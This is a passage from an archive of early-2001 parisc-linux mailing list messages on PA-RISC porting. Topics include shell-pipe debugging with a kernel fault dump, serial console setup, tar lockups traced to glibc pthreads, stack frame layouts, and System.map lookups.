echo ShElL-OuTpUt-HaS-bEeN-cOmPlEtEd

where the first hunk of text between `=='s is wrapped in
`cd /usr/include' .. `echo funky stuff' and plugged into the pipe.  The
hunk of text after the second `==' is what the shell reads from the pipe.
Everything works as expected for a while, and then we get

==
file=sys/stat.h
if ( test  -r types/vxTypesOld.h ) > /dev/null 2>&1
then echo TRUE
else echo FALSE
fi
==
cd /usr/include
file=sys/stat.h
if ( test  -r types/vxTypesOld.h ) > /dev/null 2>&1
then echo TRUE
else echo FALSE
fi
d

Oops, did we just lose 41 chars?

Unfortunately, I'm not sure where the loss happens.  When I tried to
"strace -f -s 256 ...", I ran into

User Fault on Kernel Space pid=319 command='sh'

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001011
r0-3     00000000 00076808 0002b4c7 00000001
r4-7     401e8648 00000000 0000008b 0007dda8
r8-11    00000001 00076808 0007f008 00078008
r12-15   00076808 00078f02 00076808 bb000ac8
r16-19   00076808 00063800 ffffffff 401e8648
r20-23   000000af 400f0258 0007e498 00000008
r24-27   00000000 bb000ac8 00000002 00076808
r28-31   00000000 00000000 bb000c00 400f027f
sr0-3    0000035e 0000035c 00000000 0000035e
sr4-7    0000035e 0000035e 0000035e 0000035e

IASQ: 00000000 00000000 IAOQ: 400f027f 400f0283
 IIR: 4ad30048    ISR: 0000035e  IOR: 0007e4bc
ORIG_R28: ffffffff

0x400f0270 <__sigprocmask+24>:  stw r3,-3c(sr0,sp)
0x400f0274 <__sigprocmask+28>:  be,l 100(sr2,r0),%sr0,%r31
0x400f0278 <__sigprocmask+32>:  ldi af,r20
0x400f027c <__sigprocmask+36>:  copy ret0,r3

Tried various kernels I built near the end of January, and one dated
20010201 "Linux version 2.4.0-test10 (jsm@forest)" from Matt Taggart.

Time to sleep on it, I think

Alan





From - Thu Nov 08 21:16:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] minilibc CVS module
Date: Fri, 09 Feb 2001 09:30:10 -0800
Lines: 26
Approved: news@gmane.org
Message-ID: <200102091730.JAA08083@milano.cup.hp.com>
References: <20010209214354.K20585@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619859 15266 80.91.229.3 (22 Nov 2014 01:30:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:59 +0000 (UTC)
Cc: Linux/HPPA List <parisc-linux@parisc-linux.org>
To: Andrew Shugg <andrew@neep.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb  9 10:27:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226])
	by dsl2.external.hp.com (Postfix) with ESMTP id BE4714A19
	for <parisc-linux@parisc-linux.org>; Fri,  9 Feb 2001 10:27:42 -0700 (MST)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 8FBDBE45; Fri,  9 Feb 2001 09:27:41 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id JAA08083;
	Fri, 9 Feb 2001 09:30:12 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 09 Feb 2001 21:43:57 PST."
             <20010209214354.K20585@neep.com.au> 
Xref: news.gmane.org gmane.linux.ports.parisc:10227

Andrew Shugg wrote:
> I have the 'minilibc' module checked out of CVS.  It doesn't seem to
> have been updated in the last 8 months.  Is this thing dead, or just
> resting?  Pining for the fjords, perhaps.

No - resting up for a ski vacation. :^O

The minilibc was used to build the first static binaries (eg sash).
sash was the first thing we could show off last year.
Since we've had a real glibc, minilibc has withered.

> Not that I can even remember why I have it checked out in the first
> place ... hmm.

Build your own static realtime, realmode application?
I'm not sure what "embedded" application parisc boxes would be good for...
but I've heard of such thing being done for dedicated NFS servers...

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ASP Parallel port driver broken on HP9000/730
Date: Fri, 09 Feb 2001 09:43:33 -0800
Lines: 21
Approved: news@gmane.org
Message-ID: <200102091743.JAA08121@milano.cup.hp.com>
References: <Pine.LNX.4.21.0102091426380.9525-100000@sgate.charlysworld.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619859 15270 80.91.229.3 (22 Nov 2014 01:30:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@deathsdoor.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb  9 10:42:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1F8294A19
	for <parisc-linux@lists.parisc-linux.org>; Fri,  9 Feb 2001 10:42:36 -0700 (MST)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id A5702BA4
	for <parisc-linux@lists.parisc-linux.org>; Fri,  9 Feb 2001 09:42:34 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id JAA08121;
	Fri, 9 Feb 2001 09:43:40 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 09 Feb 2001 14:45:19 PST."
             <Pine.LNX.4.21.0102091426380.9525-100000@sgate.charlysworld.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:10228

"M. Grabert" wrote:
> My question was, whether there is a kernel parameter (i can pass to palo),
> which redirects ALL kernel messages from the beginning to the serial port
> (before they are regognized by the linux kernel). 

No. (I'm being more blunt than Helge).

Read the directions I posted again and try them.

Setting the CONSOLE path (as suggested by Helge) will result in
the same thing. But later you must set the path back to a graphics
head once you (and parisc-linux) are ready for STI/graphical console.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@deathsdoor.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ASP Parallel port driver broken on HP9000/730
Date: Sun, 11 Feb 2001 00:25:05 +0100 (CET)
Lines: 37
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102110019200.7789-100000@sgate.charlysworld.de>
References: <01020915420103.32355@P100.helgenet.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619859 15271 80.91.229.3 (22 Nov 2014 01:30:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:59 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb 10 16:25:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sgate.charlysworld.de (pD950593F.dip.t-dialin.net [217.80.89.63])
	by dsl2.external.hp.com (Postfix) with ESMTP id 08CFD4A19
	for <parisc-linux@lists.parisc-linux.org>; Sat, 10 Feb 2001 16:25:27 -0700 (MST)
Original-Received: from localhost (xam@localhost)
	by sgate.charlysworld.de (8.11.0/8.11.0) with ESMTP id f1ANP5007949
	for <parisc-linux@lists.parisc-linux.org>; Sun, 11 Feb 2001 00:25:08 +0100
X-Authentication-Warning: sgate.charlysworld.de: xam owned process doing -bs
X-Sender: xam@sgate.charlysworld.de
In-Reply-To: <01020915420103.32355@P100.helgenet.de>
Xref: news.gmane.org gmane.linux.ports.parisc:10229

On Fri, 9 Feb 2001, Helge Deller wrote:

> on the IPL screen type 
> 
> PATH CONSOLE RS232_1
> *or*
> PATH CONSOLE SERIAL_1

thanks alot !!!

> BTW: Max, your domain doesn't seem to resolve 
> 	("M. Grabert" <xam@deathsdoor.com>)!
> bash-2.04$ nslookup deathsdoor.com
> Server:  devserv.devel.redhat.com
> *** devserv.devel.redhat.com can't find deathsdoor.com: Non-existent 
> host/domain

my nslookup says:

Name:   deathsdoor.com
Address: 206.96.221.142


well, deathsdoor.com is a email-forward servive from netforward.com
I'm using it since 1995/96 (about).
Since I'll finish my study in March, I'll lose my email address there,
therefore I use this email address ...

my real address is markus dot grabert at stud dot fh-regensburg dot de
:))) 

geeting max






From - Thu Nov 08 21:16:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: penfold@customware.com.au
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] tar, spinlocks and 715 and 720
Date: Sun, 11 Feb 2001 18:50:42 +1100 (EST)
Lines: 32
Approved: news@gmane.org
Message-ID: <200102110753.SAA15254@customware.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619859 15275 80.91.229.3 (22 Nov 2014 01:30:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:59 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb 11 00:53:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mr14.vic-remote.bigpond.net.au (mr14.vic-remote.bigpond.net.au [24.192.1.29])
	by dsl2.external.hp.com (Postfix) with ESMTP id E11474A19
	for <parisc-linux@lists.parisc-linux.org>; Sun, 11 Feb 2001 00:53:26 -0700 (MST)
Original-Received: from customware.com.au (CPE-144-132-17-132.vic.bigpond.net.au [144.132.17.132])
	by mr14.vic-remote.bigpond.net.au (Pro-8.9.3/8.9.3) with ESMTP id SAA03785
	for <parisc-linux@lists.parisc-linux.org>; Sun, 11 Feb 2001 18:53:18 +1100 (EDT)
Original-Received: (from penfold@localhost)
	by customware.com.au (8.9.3/8.8.7) id SAA15254
	for parisc-linux@lists.parisc-linux.org; Sun, 11 Feb 2001 18:53:13 +1100
X-Mailer: ELM [version 2.5 PL3]
Xref: news.gmane.org gmane.linux.ports.parisc:10230

Hi all,

I there was discussion about tar locking up on 715 and the consesus was
that it was spinlock related and due to an alignment issue.

Was this fixed?

Is/Was it a kernel or glibc problem?

As far as I can tell, this is causing dpkg to lock up also -
tiki2:/artemis/install/debian-hppa# ps -H
  PID     TTY                 TIME           CMD
  167     ttyS0             00:00:00       rpciod
  102     ttyS0             00:00:37       sh
  307     ttyS0             00:00:02         dpkg
  310     ttyS0             00:00:01           dpkg-deb
  311     ttyS0             00:00:00             dpkg-deb <defunct>
  312     ttyS0             00:00:01             gzip
  313     ttyS0             00:00:01             tar
  340     ttyS0             00:00:04         ps
tiki2:/artemis/install/debian-hppa#

tar on its own also locks up.

thanks,

- Damian
penfold@customware.com.au





From - Thu Nov 08 21:16:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc64 kernel and ret1 (gr29) setup
Date: Sun, 11 Feb 2001 23:09:32 +1100 (EST)
Lines: 101
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102112156190.27808-100000@front.linuxcare.com.au>
References: <20010207111825.B1374@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619860 15277 80.91.229.3 (22 Nov 2014 01:31:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:00 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb 11 05:10:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1A2164A19
	for <parisc-linux@lists.parisc-linux.org>; Sun, 11 Feb 2001 05:10:38 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA06598
	for <parisc-linux@puffin.external.hp.com>; Sun, 11 Feb 2001 05:06:14 -0700
Original-Received: (qmail 22352 invoked by uid 15267); 11 Feb 2001 12:10:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22318 invoked from network); 11 Feb 2001 12:10:23 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 11 Feb 2001 12:10:23 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id XAA24811;
	Sun, 11 Feb 2001 23:09:33 +1100
In-Reply-To: <20010207111825.B1374@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10231

On Wed, 7 Feb 2001, Richard Hirst wrote:

> On Tue, Jan 23, 2001 at 01:45:45PM +0000, Richard Hirst wrote:
> > Presumably r29 needs initialising on every call from entry.S and syscall.S
> > to C code, but I'm not over confident about that, so I thought I'd let
> > others see my diff so far.  Comments?
> 
> So, I committed that diff, and have been looking at what happens
> w.r.t. stack frame setup on interrupts.  All we seem to do is to
> set sp to the top of task_struct (if in a user context), or move
> sp up by a struct pt_regs if in kernel space.  In both cases,
> those values are rounded up (TASK_SZ_ALGN and PT_SZ_ALIGN), so
> there would probably be some space below sp, but should get_stack
> be explicity allocating a stack frame really?

This is a bit interesting.  A called procedure can write into certain
parts of the caller's stack frame, so we should certainly be allocating
space for these areas.

A 64 bit stack frame looks like:

	|----------------------------------|
psp ->	|       Register Spill Area        | variable size
	|----------------------------------|
	|       Local Storage Area         | variable size
	|----------------------------------|
	|      Dynamic Storage Area        | variable size
	|----------------------------------|
	| Outgoing Register Parameter Area | 64 bytes
        | arg word 0                       |
        | arg word 1                       |
        | arg word 2                       |
        | arg word 3                       |
	|----------------------------------|
ap ->	|  Outgoing Stack Parameter Area   | variable size
        | arg word 4                       |
        | .                                |
        | arg word n-1                     |
	|----------------------------------|
	|          Frame Marker            | 16 bytes
	| rp                               |
	| psp                              |
        |----------------------------------|
sp ->

Any of the variable size areas may be zero size.  ap (%r29) points to
first byte of outgoing stack param area, and sp (%r30) points to first
byte of free stack area.  Stack grows up to increasing memory addresses.
Actual arg locations are as shown for 64 bit and smaller args.  The
mapping from args to arg words gets a little tricky with larger argument
sizes.

The areas written by the called function are the frame marker (rp save),
and the outgoing register parameter area.  This means we ought to be
allocating 80 bytes past the end of struct pt_regs, although it's likely
the register parameter area is never written.


32-bit stack frames look like:

	|----------------------------------|
psp ->	|       Register Spill Area        | variable size
	|----------------------------------|
	|       Local Storage Area         | variable size
	|----------------------------------|
	|      Dynamic Storage Area        | variable size
	|----------------------------------|
	|  Outgoing Stack Parameter Area   | variable size
        | arg word n-1                     |
        | .                                |
        | arg word 4                       |
	|----------------------------------|
	| Outgoing Register Parameter Area | 32 bytes
        | arg word 3                       |
        | arg word 2                       |
        | arg word 1                       |
        | arg word 0                       |
	|----------------------------------|
	|          Frame Marker            | 32 bytes
	| External Data Pointer (DP)       |
	| External sr4                     |
	| External/stub RP (RP')           |
	| Current RP                       |
	| Static Link                      |
	| Clean up                         |
	| Calling Stub RP (RP'')           |
	| Previous SP                      |
        |----------------------------------|
sp ->

Again, it is the frame marker and outgoing register param area that may be
written by the called function, so here we should allocate 64 bytes past
the end of struct pt_regs.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.





From - Thu Nov 08 21:16:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@deathsdoor.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ASP Parallel port driver broken on HP9000/730
Date: Sun, 11 Feb 2001 21:16:39 +0100 (CET)
Lines: 27
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102112112310.9410-100000@sgate.charlysworld.de>
References: <200102090338.TAA07555@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619860 15280 80.91.229.3 (22 Nov 2014 01:31:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:00 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb 11 13:16:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sgate.charlysworld.de (pD95059A4.dip.t-dialin.net [217.80.89.164])
	by dsl2.external.hp.com (Postfix) with ESMTP id D8CBB4A19
	for <parisc-linux@lists.parisc-linux.org>; Sun, 11 Feb 2001 13:16:44 -0700 (MST)
Original-Received: from localhost (xam@localhost)
	by sgate.charlysworld.de (8.11.0/8.11.0) with ESMTP id f1BKGdR09611
	for <parisc-linux@lists.parisc-linux.org>; Sun, 11 Feb 2001 21:16:41 +0100
X-Authentication-Warning: sgate.charlysworld.de: xam owned process doing -bs
X-Sender: xam@sgate.charlysworld.de
In-Reply-To: <200102090338.TAA07555@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10232

On Thu, 8 Feb 2001, Grant Grundler wrote:

> echo 0xe840c000=i | adb   says:
> 		BV              r0(r2)
> 
> GR02 is the most recent subroutine call return addr.
> (Typically the caller).
> 
> So look up c026e458 and c0246328 in your System.map.
> You can at least figure out about where it's crashing.

done that (I also checked that is is the correct System.map),
but there is no entry for c026e458 and c0246328 !!!
Also build a new kernel (and a new System.map), but
the same result :(

> (Hint: cvs co build-tools and look at a.c)

I did not tried this yet ...
 

greetings max






From - Thu Nov 08 21:16:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc64 kernel and ret1 (gr29) setup
Date: Sun, 11 Feb 2001 23:03:30 +0000
Lines: 31
Approved: news@gmane.org
Message-ID: <20010211230330.E1374@linuxcare.com>
References: <20010207111825.B1374@linuxcare.com> <Pine.LNX.4.21.0102112156190.27808-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619860 15283 80.91.229.3 (22 Nov 2014 01:31:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:00 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb 11 16:04:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 267824A19
	for <parisc-linux@lists.parisc-linux.org>; Sun, 11 Feb 2001 16:04:12 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA07910
	for <parisc-linux@puffin.external.hp.com>; Sun, 11 Feb 2001 15:59:47 -0700
Original-Received: (qmail 21546 invoked by uid 15267); 11 Feb 2001 23:03:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21519 invoked from network); 11 Feb 2001 23:03:58 -0000
Original-Received: from pc117-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.117)
  by mailserv2.iuinc.com with SMTP; 11 Feb 2001 23:03:58 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 699A1B005; Sun, 11 Feb 2001 23:03:30 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.21.0102112156190.27808-100000@front.linuxcare.com.au>; from alan@linuxcare.com.au on Sun, Feb 11, 2001 at 11:09:32PM +1100
Xref: news.gmane.org gmane.linux.ports.parisc:10233

On Sun, Feb 11, 2001 at 11:09:32PM +1100, Alan Modra wrote:
> On Wed, 7 Feb 2001, Richard Hirst wrote:
> 
> > On Tue, Jan 23, 2001 at 01:45:45PM +0000, Richard Hirst wrote:
> > > Presumably r29 needs initialising on every call from entry.S and syscall.S
> > > to C code, but I'm not over confident about that, so I thought I'd let
> > > others see my diff so far.  Comments?
> > 
> > So, I committed that diff, and have been looking at what happens
> > w.r.t. stack frame setup on interrupts.  All we seem to do is to
> > set sp to the top of task_struct (if in a user context), or move
> > sp up by a struct pt_regs if in kernel space.  In both cases,
> > those values are rounded up (TASK_SZ_ALGN and PT_SZ_ALIGN), so
> > there would probably be some space below sp, but should get_stack
> > be explicity allocating a stack frame really?
> 
> This is a bit interesting.  A called procedure can write into certain
> parts of the caller's stack frame, so we should certainly be allocating
> space for these areas.

We now allocate 64 bytes for 32 bit kernels and 128 bytes for 64 bit
kernels.  In fact, (as jsm pointed out to me) the align macro in
arch/parisc/tools/offset.c allowed for a stack frame in its rounding
up already.  It used to always allow only 64 bytes, but I've changed that
to allow 64 or 128 bytes as required.

Richard





From - Thu Nov 08 21:16:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] tar, spinlocks and 715 and 720
Date: Mon, 12 Feb 2001 15:39:38 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <20010212153938.A7969@parcelfarce.linux.theplanet.co.uk>
References: <200102110753.SAA15254@customware.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619861 15285 80.91.229.3 (22 Nov 2014 01:31:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: penfold@customware.com.au
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 12 08:39:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 057994A19
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Feb 2001 08:39:52 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14SL4k-00029k-00; Mon, 12 Feb 2001 15:39:38 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200102110753.SAA15254@customware.com.au>; from penfold@customware.com.au on Sun, Feb 11, 2001 at 06:50:42PM +1100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10234

On Sun, Feb 11, 2001 at 06:50:42PM +1100, penfold@customware.com.au wrote:
> I there was discussion about tar locking up on 715 and the consesus was
> that it was spinlock related and due to an alignment issue.
> 
> Was this fixed?

not entirely, yet.

> Is/Was it a kernel or glibc problem?

glibc.  it's a `pthreads' problem.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ASP Parallel port driver broken on HP9000/730
Date: Mon, 12 Feb 2001 15:59:19 +0000
Lines: 27
Approved: news@gmane.org
Message-ID: <20010212155919.B7969@parcelfarce.linux.theplanet.co.uk>
References: <200102090338.TAA07555@milano.cup.hp.com> <Pine.LNX.4.21.0102112112310.9410-100000@sgate.charlysworld.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619861 15289 80.91.229.3 (22 Nov 2014 01:31:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@deathsdoor.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 12 08:59:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E87AC4A19
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Feb 2001 08:59:25 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14SLNn-0002Rd-00; Mon, 12 Feb 2001 15:59:19 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.21.0102112112310.9410-100000@sgate.charlysworld.de>; from xam@deathsdoor.com on Sun, Feb 11, 2001 at 09:16:39PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10235

On Sun, Feb 11, 2001 at 09:16:39PM +0100, M. Grabert wrote:
> On Thu, 8 Feb 2001, Grant Grundler wrote:
> 
> > echo 0xe840c000=i | adb   says:
> > 		BV              r0(r2)
> > 
> > GR02 is the most recent subroutine call return addr.
> > (Typically the caller).
> > 
> > So look up c026e458 and c0246328 in your System.map.
> > You can at least figure out about where it's crashing.
> 
> done that (I also checked that is is the correct System.map),
> but there is no entry for c026e458 and c0246328 !!!

no, there wouldn't be.  the addresses in System.map are the start of
each function.  so the address below c026e458 will be the address of
the function which made the call.

Matthew `Give a man a match and you warm him for an hour; dose him in
petrol first and you warm him for the rest of his life'

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@deathsdoor.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ASP Parallel port driver broken on HP9000/730
Date: Tue, 13 Feb 2001 00:18:11 +0100 (CET)
Lines: 34
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102130007220.13741-100000@sgate.charlysworld.de>
References: <20010212155919.B7969@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619861 15293 80.91.229.3 (22 Nov 2014 01:31:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:01 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 12 16:18:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sgate.charlysworld.de (pD95055BE.dip.t-dialin.net [217.80.85.190])
	by dsl2.external.hp.com (Postfix) with ESMTP id A886F4A19
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Feb 2001 16:18:17 -0700 (MST)
Original-Received: from localhost (xam@localhost)
	by sgate.charlysworld.de (8.11.0/8.11.0) with ESMTP id f1CNIB014063
